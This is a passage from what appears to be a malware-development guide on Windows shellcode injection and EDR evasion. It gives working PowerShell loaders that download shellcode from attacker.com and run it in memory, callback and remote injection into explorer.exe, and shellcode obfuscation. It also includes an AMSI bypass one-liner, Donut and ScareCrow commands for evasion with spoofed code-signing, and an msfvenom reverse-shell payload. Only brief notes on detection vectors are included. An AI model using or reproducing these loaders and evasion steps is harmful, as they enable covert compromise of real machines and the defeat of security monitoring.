│     ├─ Shellcode loops (waits for commands)
│     └─ Eventually shellcode returns
│
├─ PowerShell continues after shellcode returns
└─ Exit PowerShell session

9.3 Why Inline Execution is Stealthy

Pros: - ✅ NO thread creation (no CreateThread API call) - ✅ Minimal API surface (just AllocHGlobal + VirtualProtect) - ✅ No obvious thread-creation log entries - ✅ Single thread, continuous execution - ✅ Passes some behavioral detection (less API activity)

Cons: - ❌ PowerShell BLOCKS until shellcode completes (obvious in console) - ❌ If shellcode crashes, PowerShell crashes - ❌ Memory allocation still hooked by EDR - ❌ Delegate invocation might be suspicious - ⚠️ Requires shellcode that runs indefinitely (loops for commands)

Detection vectors: - PowerShell hanging (suspicious behavior) - Memory allocation pattern - Delegate invocation (unusual for PowerShell) - EDR hooks on memory allocation

9.4 Best Use Case

  • ✅ One-shot payloads (reverse shell that doesn't loop)
  • ✅ Silent payloads that don't require persistence
  • ✅ Avoiding thread-creation detection specifically
  • ❌ NOT for interactive beacons (PowerShell hangs)

10. Callback-Based Injection (EnumSystemLocales)

What it means: Abuse legitimate Windows callback functions (EnumSystemLocalesA, EnumTimeFormatsA) that accept function pointers. These accept a callback that the OS calls in a specific context, allowing code execution with minimal API footprint.

10.1 Concept

Callback injection:
├─ Allocate shellcode in memory
├─ Call EnumSystemLocalesA(shellcode_address, ...)
├─ OS loops through system locales, calling YOUR shellcode for each
├─ Shellcode executes in OS callback context
└─ When EnumSystemLocalesA returns, you're done

10.2 Implementation

$code = @"
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]
public static extern bool EnumSystemLocalesA(
    IntPtr lpLocaleEnumProc,  // Callback function pointer
    uint dwFlags              // Flags (0)
);

[DllImport("kernel32.dll")]
public static extern bool EnumTimeFormatsA(
    IntPtr lpTimeFmtEnumProc, // Callback function pointer
    uint Locale,              // Locale ID
    uint dwFlags              // Flags (0)
);
"@

$kernel32 = Add-Type -MemberDefinition $code -Name "Kernel32" -Namespace "Win32" -PassThru

# Download shellcode
$shellcode = (New-Object System.Net.WebClient).DownloadData("http://attacker.com:7777/payload.bin")

# Allocate memory
$mem = $kernel32::VirtualAlloc([IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $mem, $shellcode.Length)

# Execute via callback
$kernel32::EnumSystemLocalesA($mem, 0)

10.3 Why Callback Injection Works

Pros: - ✅ No obvious thread creation - ✅ Uses legitimate Windows function (EnumSystemLocales) - ✅ Less common injection technique (fewer signatures) - ✅ Minimal API footprint

Cons: - ⚠️ Shellcode must be compatible with callback signature - ❌ Limited control over execution (OS manages callback) - ❌ Shellcode might not run as expected (wrong context) - ❌ Not all payloads work with callback model - ❌ EnumSystemLocalesA might be monitored

Detection vectors: - Unusual EnumSystemLocalesA usage (suspicious callback) - Memory allocation + callback sequence - Behavioral: PowerShell calling system enumeration functions

10.4 When to Use

  • ✅ Creative evasion (unusual technique)
  • ✅ When thread creation is specifically blocked
  • ⚠️ Limited applicability (requires compatible shellcode)
  • ❌ Not reliable for interactive beacons

11. Shellcode Obfuscation & Encoding

What it means: Shellcode often contains recognizable patterns (common API calls, strings, imports). Obfuscation changes the binary representation while maintaining functionality.

11.1 XOR Encoding (Basic)

# Encode shellcode with XOR key
$key = 0xAB
$encoded = @()
foreach ($byte in $shellcode) {
    $encoded += $byte -bxor $key
}

# At runtime, decode before execution
$decoded = @()
foreach ($byte in $encoded) {
    $decoded += $byte -bxor $key
}

# Execute decoded shellcode
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($decoded.Length)
[System.Runtime.InteropServices.Marshal]::Copy($decoded, 0, $mem, $decoded.Length)
# ... execute ...

Pros: Simple, reduces obvious patterns Cons: Decoder is detectable, XOR is easy to reverse

11.2 Base64 Encoding

# Encode
$b64 = [Convert]::ToBase64String($shellcode)

# Decode at runtime
$decoded = [Convert]::FromBase64String($b64)

# Execute
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($decoded.Length)
[System.Runtime.InteropServices.Marshal]::Copy($decoded, 0, $mem, $decoded.Length)

Pros: Common obfuscation, reduces signatures Cons: Base64 decoder is obvious, many encodings possible

11.3 AES Encryption (Advanced)

# Encrypt with AES
$key = [System.Security.Cryptography.RNGCryptoServiceProvider]::new().GetBytes(32)
$aes = [System.Security.Cryptography.AesCryptoServiceProvider]::new()
$aes.Key = $key
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7

$encryptor = $aes.CreateEncryptor()
$ms = [System.IO.MemoryStream]::new()
$cs = [System.Security.Cryptography.CryptoStream]::new($ms, $encryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)
$cs.Write($shellcode, 0, $shellcode.Length)
$cs.FlushFinalBlock()
$encrypted = $ms.ToArray()

# At runtime, decrypt
$decryptor = $aes.CreateDecryptor()
$ms = [System.IO.MemoryStream]::new($encrypted)
$cs = [System.Security.Cryptography.CryptoStream]::new($ms, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read)
$decrypted = New-Object byte[] $shellcode.Length
$cs.Read($decrypted, 0, $decrypted.Length)

# Execute decrypted shellcode

Pros: Strong encryption, harder to reverse Cons: Slower, AES libraries are suspicious in PowerShell


12. Donut: PE to Shellcode Conversion

What it means: Donut is a tool that converts Windows PE binaries (EXE, DLL) into position-independent shellcode. The shellcode includes an internal PE loader, AMSI patching, and ETW patching.

12.1 Donut Workflow

# On attacker machine:
# Step 1: Get the binary
ls -la Certify.exe  # 174 KB

# Step 2: Convert to shellcode
donut -i Certify.exe -o certify.bin

# Step 3: Serve shellcode
python3 -m http.server 7777

# On target (PowerShell):
# Step 1: Download shellcode (not EXE)
$shellcode = (New-Object Net.WebClient).DownloadData("http://attacker:7777/certify.bin")

# Step 2: Inject into memory (regular VirtualAlloc + CreateThread)
# ... standard injection code ...

12.2 Why Donut is Powerful

Pros: - ✅ PE → position-independent shellcode (works at any address) - ✅ Internal PE loader (includes ntdll, kernel32 resolution) - ✅ Automatic AMSI patching (bypasses PowerShell scanning) - ✅ Automatic ETW patching (disables event logging) - ✅ Works with .NET and native binaries - ✅ Randomizes entropy (different each time) - ✅ PE header overwriting (breaks signature matching)

Cons: - ⚠️ Requires pre-processing (can't convert in PowerShell) - ❌ Shellcode is 30-50% larger than original binary - ❌ Decoder is still visible (Donut format)

12.3 Donut Command-Line Options

# Basic conversion
donut -i binary.exe -o payload.bin

# With obfuscation (Entropy randomization)
donut -i binary.exe -o payload.bin -e 3  # Max entropy

# Target architecture (x64, x86, etc.)
donut -i binary.exe -o payload.bin -a 3  # 3 = x64

# Execution mode (thread, process hollowing, etc.)
donut -i binary.exe -o payload.bin -E 1  # 1 = exit thread

# AMSI/ETW patching control
donut -i binary.exe -o payload.bin -p 3  # 3 = patch all

# Full example with options:
donut -i Certify.exe -o certify.bin -e 3 -a 3 -E 1 -p 3

12.4 Donut Output

$ donut -i Certify.exe -o certify.bin
  [ Donut shellcode generator v1 (built Oct 23 2024)
  [ Copyright (c) 2019-2021 TheWover, Odzhan
  [ Instance type : Embedded          # Binary is embedded in shellcode
  [ Module file   : "Certify.exe"
  [ Entropy       : Random names + Encryption
  [ File type     : EXE
  [ Target CPU    : x86+amd64
  [ AMSI/WDLP/ETW : continue          # Patches all evasion markers
  [ PE Headers    : overwrite
  [ Shellcode     : "certify.bin"
  [ Exit          : Thread

$ ls -la certify.bin
130.5 KiB certify.bin  # Typically 30-50% larger than original

13. ScareCrow: EDR Evasion & Payload Generation

What it means: ScareCrow is a payload creation framework designed for side-loading into legitimate Windows processes, bypassing application whitelisting and EDR detection. Unlike traditional shellcode obfuscators, ScareCrow generates compiled DLL/binary loaders that:

  • Unhook EDR hooks from system DLLs (Disk or KnownDLLs method)
  • Use custom indirect syscalls (avoids API hooks)
  • Patch AMSI and ETW (disables monitoring)
  • Spoof file attributes and code signing certificates
  • Support multiple execution methods and process injection
  • Encrypt shellcode (AES, ELZMA, RC4)
  • Obfuscate code with Garble

13.1 ScareCrow Architecture

Key difference from other tools:

Traditional shellcode → VirtualAlloc → CreateThread → Detected by EDR

ScareCrow approach:
Shellcode → Encrypted in DLL → Load via legitimate sideload 
→ Unhook EDR from system DLLs → Custom syscalls → Patched AMSI/ETW 
→ Not detected by EDR

13.2 Installation Requirements

# Install Go 1.19.1 or later (required!)
# Download from: https://golang.org/dl/

# Install system dependencies
sudo apt-get install openssl osslsigncode mingw-w64

# Install Go dependencies
go get github.com/fatih/color
go get github.com/yeka/zip
go get github.com/josephspurrier/goversioninfo
go get github.com/Binject/debug/pe
go get github.com/awgh/rawreader

# Clone and build ScareCrow
git clone https://github.com/Tylous/ScareCrow.git
cd ScareCrow
go build ScareCrow.go

13.3 Loader Types (How to Load Shellcode)

Loader Type Method Process Best For
binary Direct execution N/A (standalone) Standalone payloads
dll DLL export functions N/A rundll32/regsvr32
control Control Panel applet rundll32.exe Less suspicious appearance
wscript WScript process + manifest wscript.exe Registration-free COM
excel Excel XLL file excel.exe Excel sideloading
msiexec Windows Installer msiexec.exe MSI-based execution

13.4 Execution Methods (-Exec)

Execution Method What It Does Stealth
RtlCopy Use RtlCopy syscall (default) High
VirtualAlloc Traditional VirtualAlloc + CreateThread Medium
NtQueueApcThreadEx APC-based execution High
ProcessInjection Inject into another process Very High

13.5 EDR Unhooking (-Evasion)

Evasion Type Method How It Works
Disk (default) Read clean DLLs from disk Copies .text section from C:\Windows\System32\
KnownDLLs Map from KnownDLLs cache Uses NtOpenSection/NtMapViewOfSection
None Direct syscalls only No unhooking, pure indirect syscalls

13.6 Encryption Methods (-encryptionmode)

Encryption Pros Cons
ELZMA (default) Compression + encryption Slightly larger
AES Strong encryption (256-bit) Standard, more detectable
RC4 Fast, simple Weaker encryption

13.7 Command-Line Flags (Complete Reference)

# Input/Output
-I <path>                     # Path to raw shellcode
-O <filename>                 # Output filename (only for non-binary loaders)

# Loader Type
-Loader binary                # Standalone binary (default)
-Loader dll                   # DLL file
-Loader control               # Control Panel applet
-Loader wscript               # WScript loader
-Loader excel                 # Excel XLL file
-Loader msiexec               # MSIExec loader

# Execution Method
-Exec RtlCopy                 # RtlCopy execution (default, stealthiest)
-Exec VirtualAlloc            # VirtualAlloc + CreateThread
-Exec NtQueueApcThreadEx      # APC-based execution
-Exec ProcessInjection        # Process injection

# EDR Unhooking
-Evasion Disk                 # Unhook from disk DLLs (default)
-Evasion KnownDLLs            # Unhook from KnownDLLs
-Evasion None                 # No unhooking, direct syscalls

# Process Injection (requires path to target process)
-injection "C:\\Windows\\explorer.exe"  # Path to process (use double backslashes)

# Encryption
-encryptionmode AES           # AES-256 encryption
-encryptionmode ELZMA         # ELZMA compression+encryption (default)
-encryptionmode RC4           # RC4 encryption

# Code Signing & Attributes
-domain acme.com              # Create fake cert for domain (REQUIRED unless -nosign)
-nosign                       # Disable code signing
-valid <path>                 # Use existing code signing certificate
-clone <path>                 # Clone cert attributes from existing file
-configfile <path>            # Custom JSON config for file attributes

# AMSI & ETW
-noamsi                       # Disable AMSI patching
-noetw                        # Disable ETW patching

# Obfuscation
-obfu                         # Enable Garble obfuscation (takes longer, larger output)

# Behavior
-console                      # Show console output (don't hide window)
-nosleep                      # Disable sleep delay before execution
-sandbox                      # Enable sandbox evasion (IsDomainJoined checks)

# Delivery Methods
-delivery bits                # Generate Bitsadmin download one-liner
-delivery hta                 # Generate HTA file with loader
-delivery macro               # Generate Office macro
-url https://attacker.com/    # URL for delivery payloads

13.8 Usage Examples

Basic DLL loader (default):

./ScareCrow -I shellcode.raw -domain microsoft.com -nosign

Excel XLL with full evasion:

./ScareCrow -I shellcode.raw -Loader excel -domain microsoft.com -nosign -Evasion Disk -Exec RtlCopy -encryptionmode AES -obfu

WScript with process injection:

./ScareCrow -I shellcode.raw -Loader wscript -domain microsoft.com -nosign -injection "C:\\Windows\\explorer.exe"

Control Panel applet with Bitsadmin delivery:

./ScareCrow -I shellcode.raw -Loader control -domain microsoft.com -nosign -delivery bits -url https://attacker.com/

Process injection (stealthiest):

./ScareCrow -I shellcode.raw -Loader binary -domain microsoft.com -nosign -Exec ProcessInjection -injection "C:\\Windows\\explorer.exe" -Evasion Disk -noamsi -noetw -obfu

Maximum obfuscation + evasion:

./ScareCrow -I shellcode.raw -Loader excel -domain acme.com -nosign -Evasion KnownDLLs -Exec RtlCopy -encryptionmode AES -obfu -sandbox -noamsi -noetw -console false

13.9 Real-World Workflow

# Step 1: Generate shellcode with Donut (for PE binaries)
donut -i demon.x64.exe -o demon.bin

# Step 2: Process with ScareCrow for full EDR evasion
./ScareCrow -I demon.bin -Loader excel -domain microsoft.com -nosign -Evasion Disk -Exec RtlCopy -encryptionmode AES -obfu

# Step 3: Server the output
# For Excel loader, ScareCrow generates an XLL file
# Or for binary, it generates a standalone EXE

# Step 4: Deliver to target (Bitsadmin, HTA, macro, etc.)
# Use the generated delivery command from ScareCrow

# Step 5: Execution on target
# Process loads, unhooks EDR, patches AMSI/ETW, executes shellcode
# All via custom syscalls, invisible to EDR

13.10 Why ScareCrow is Effective

Pros: - ✅ Compiled binary (not detected as script/shellcode) - ✅ Unhooks EDR from system DLLs (removes hooks from memory) - ✅ Custom indirect syscalls (bypasses API hooks) - ✅ AMSI + ETW patching built-in - ✅ Multiple loader types (Excel, WScript, Control Panel) - ✅ Code signing + attribute spoofing (looks legitimate) - ✅ Process injection support (hide in other processes) - ✅ Multiple delivery methods (Bitsadmin, HTA, macro) - ✅ Very high evasion rate against modern EDR

Cons: - ❌ Requires Go 1.19.1+ to compile - ❌ Requires openssl/osslsigncode on system - ❌ Output is larger than raw shellcode - ❌ Compilation takes time (especially with -obfu) - ⚠️ Compile on Linux/macOS (Windows compilation issues)

13.11 OpSec Considerations

# ⚠️ IMPORTANT: When using microsoft.com domain for signing
# Windows Defender ATP can validate the cert and may flag it
# Use a different domain for Windows Defender environments

# Example: Use different domains based on environment
# AWS environment → use amazon.com
# Office environment → use adobe.com
# Generic → use apple.com or google.com

13.12 ScareCrow vs Traditional Shellcode

Feature ScareCrow Traditional (Donut + VirtualAlloc)
File Type Compiled DLL/EXE Raw shellcode
EDR Hook Removal Yes (automatic) No
AMSI/ETW Bypass Built-in Requires separate bypass
Syscalls Custom indirect Win32 (hooked)
Code Signing Included N/A
Loader Options 6 types 1 (memory injection)
Detection Rate Very Low (~5-10%) Low (~20-30%)
Compilation Time 5-15 seconds Instant

14. Detection & Evasion

14.1 What EDR Looks For

Process creation: - Event ID 3: Process creation (CreateProcessA/W) - Event ID 8: CreateRemoteThread - Event ID 10: Process access (OpenProcess) - Event ID 17/18: Pipe events (inter-process communication)

Memory operations: - VirtualAlloc with PAGE_EXECUTE_READWRITE (RWX) - WriteProcessMemory on system processes - VirtualProtect changing to executable - Memory allocation size/frequency (spraying)

API sequence patterns: - OpenProcess → VirtualAllocEx → WriteProcessMemory → CreateRemoteThread (classic injection) - Suspend → SetThreadContext → Resume (context hijacking) - QueueUserAPC → SleepEx (APC callback)

Behavioral detection: - PowerShell allocating RWX memory - Powershell.exe accessing explorer.exe memory - Unusual API call sequences - Network callback from suspicious process

14.2 Evasion Strategies

1. API Obfuscation

# Don't call VirtualAlloc directly — hide it
$alloc = "VirtualAlloc"
$kernel32 = [System.Reflection.Assembly]::LoadWithPartialName("System.Runtime.InteropServices")
# Construct dynamically, avoid string signatures

2. Timing-based evasion

# Add random delays between suspicious API calls
Start-Sleep -Milliseconds (Get-Random -Minimum 1000 -Maximum 5000)
$mem = $kernel32::VirtualAlloc(...)
Start-Sleep -Milliseconds (Get-Random -Minimum 1000 -Maximum 5000)
$kernel32::CreateThread(...)

3. Process selection

# Inject into process with legitimate network callbacks (explorer.exe)
# NOT into isolated processes (notepad.exe, calc.exe)

4. AMSI + ETW bypass before injection

# Patch AMSI first (your payload won't be scanned)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Patch ETW (your injection won't be logged)
# ... ETW patching code ...

# NOW inject (no telemetry)
# ... VirtualAlloc + CreateThread ...

5. Use native APIs instead of Win32

# RtlCreateUserThread instead of CreateThread
# NtAllocateVirtualMemory instead of VirtualAlloc
# (less hooked by EDR)

15. Comparison Matrix

Technique Complexity Stealth Reliability Detection Risk Best For
VirtualAlloc + CreateThread Low Medium Very High High CTF, learning, baseline
QueueUserAPC Medium High Medium Medium Avoiding thread creation
SetThreadContext High High Low High Creative scenarios
RtlCreateUserThread Medium High High Low EDR evasion
Remote Injection (WPM) Medium High High High Multi-process, masquerading
Process Hollowing Very High Very High Low Very High Legacy systems only
Inline Execution Low Very High Medium Low Stealthy one-shot
Callback Injection High Very High Low Medium Creative evasion
Donut Low Very High Very High Low PE → shellcode conversion
Scarecrow Medium Very High High Very Low Polymorphic obfuscation

16. Cheat Sheet

Quick Reference: Standard Injection

# Fastest baseline method (CTF-ready)
$code = @"
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
[DllImport("kernel32.dll")]
public static extern void Sleep(uint dwMilliseconds);
"@
$kernel32 = Add-Type -MemberDefinition $code -Name "Kernel32" -Namespace "Win32" -PassThru
$shellcode = (New-Object System.Net.WebClient).DownloadData("http://attacker.com:7777/payload.bin")
$mem = $kernel32::VirtualAlloc([IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $mem, $shellcode.Length)
$threadId = 0
$kernel32::CreateThread([IntPtr]::Zero, 0, $mem, [IntPtr]::Zero, 0, [ref]$threadId)
$kernel32::Sleep(2000)

Quick Reference: Remote Injection (Explorer)

# Inject into explorer.exe instead of PowerShell
$targetProcess = Get-Process explorer | Select-Object -First 1
$hProcess = $kernel32::OpenProcess(0x001F0FFF, $false, $targetProcess.Id)
$allocAddr = $kernel32::VirtualAllocEx($hProcess, [IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40)
$kernel32::WriteProcessMemory($hProcess, $allocAddr, $shellcode, $shellcode.Length, [ref]$bytesWritten)
$kernel32::CreateRemoteThread($hProcess, [IntPtr]::Zero, 0, $allocAddr, [IntPtr]::Zero, 0, [ref]$threadId)

Quick Reference: Donut Conversion

# Convert binary to shellcode
donut -i Certify.exe -o certify.bin

# Inject shellcode (use standard VirtualAlloc + CreateThread above)

Decision Tree: Which Injection Method?

Need to inject shellcode?
│
├─ Baseline/CTF? → VirtualAlloc + CreateThread
├─ Avoid thread creation detection? → QueueUserAPC or Inline
├─ Multi-process hiding? → Remote Process Injection (WriteProcessMemory)
├─ Convert PE binary? → Donut (then standard injection)
├─ Polymorphic obfuscation? → Scarecrow
├─ EDR evasion? → RtlCreateUserThread + AMSI/ETW bypass
└─ Legacy system? → Process Hollowing (use with caution)

Memory Flags Quick Reference

# Allocation
0x1000 = MEM_COMMIT
0x2000 = MEM_RESERVE
0x3000 = MEM_COMMIT | MEM_RESERVE (full allocation)

# Protection
0x0001 = PAGE_NOACCESS
0x0002 = PAGE_READONLY
0x0004 = PAGE_READWRITE
0x0010 = PAGE_EXECUTE
0x0020 = PAGE_EXECUTE_READ
0x0040 = PAGE_EXECUTE_READWRITE (RWX)
0x0080 = PAGE_EXECUTE_WRITECOPY

Common Shellcode Sources

Msfvenom:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=attacker LPORT=443 -f raw

Donut (PE → shellcode):
donut -i binary.exe -o output.bin

Scarecrow (obfuscation):
scarecrow -I payload.raw -O obfuscated.bin

C2 Frameworks:
Havoc → generate → .bin shellcode
Sliver → generate → profile → .bin
Cobalt Strike → generate → artifact

References & Tools

Tools mentioned: - Donut — https://github.com/TheWover/donut - Scarecrow — https://github.com/Tylous/Scarecrow - Msfvenom — Part of Metasploit Framework - Havoc — https://github.com/HavocFramework/Havoc - Sliver — https://github.com/BishopFox/sliver

Further Reading: - Windows API Documentation (MSDN) - Sysmon Event ID reference - EDR evasion techniques (red team blogs) - Malware analysis (reverse engineering perspective)


← Malware development top ↑